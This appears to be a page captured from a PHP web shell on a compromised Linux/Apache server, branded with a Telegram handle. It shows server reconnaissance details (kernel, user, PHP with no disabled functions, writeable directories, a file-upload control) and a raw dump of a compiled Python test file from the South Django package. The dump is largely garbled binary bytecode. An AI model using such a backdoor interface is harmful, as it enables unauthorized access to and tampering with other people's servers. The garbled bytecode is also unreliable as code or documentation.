https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/lib/python2.7/site-packages/south/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/lib/python2.7/site-packages/south/tests/inspector.pyc
�
 [�Oc@s�ddlmZmZddlmZmZmZmZmZddl	m
Z
mZeed�Z
ee
d�Zdefd��YZdS(	i����(t
Monkeypatchert
skipUnless(tconvert_on_delete_handlert	get_valuet	IsDefaulttmodelstvalue_clean(t
HorribleModeltget_sentinel_objecttPROTECTs4not testing on_delete -- not available on Django<1.3tTestModelInspectorcBs&eZdZd�Zed��ZRS(s@
    Tests if the various parts of the modelinspector work.
    cCs�tjjd�d}tjjd�d}tjjd�d}|jt|dig�d�|jt|dig�d�|jt|d	ig�d
�|jt|ditd6g�d�|jtt|ditd6g�dS(Ntnameitslugtusert
max_lengtht255tuniquetTruesrel.related_names'horribles'tdefault(	Rt_metatget_field_by_nametassertEqualRtFalsetassertRaisesRR(tselfRRR
((s9/usr/lib/python2.7/site-packages/south/tests/inspector.pyttest_get_values(c	Csxtjjd�d}tjjd�d}tjjd�d}tjjd�d}tjjd�d}tjjd�d}tjjd�d}d	itjd
6td6td6g}|jtt	||�|j
t	||�d
�|j
t	||�d�|j
t	||�d�|j
t	||�d�|jtt	||�|j
t	||�dtt
���dS(Nto_set_null_on_deleteito_cascade_deletet	o_protectto_default_on_deleteto_set_on_delete_functionto_set_on_delete_valueto_no_action_on_deletes
rel.on_deleteRtis_django_functiont	convertersmodels.PROTECTsmodels.DO_NOTHINGsmodels.SET_NULLsmodels.SET_DEFAULTsmodels.SET(%s)(RRRRtCASCADERRRRRRt
ValueErrorRR(	RRRRRRRR t	on_delete((s9/usr/lib/python2.7/site-packages/south/tests/inspector.pyttest_get_value_on_delete7sB$(t__name__t
__module__t__doc__RtskipUnlessOnDeleteAvailableR&(((s9/usr/lib/python2.7/site-packages/south/tests/inspector.pyR
s	%N(tsouth.testsRRtsouth.modelsinspectorRRRRRtfakeapp.modelsRRthasattrton_delete_is_availableR*R
(((s9/usr/lib/python2.7/site-packages/south/tests/inspector.pyt<module>s
(

https://t.me/AnonymousX5 - 2025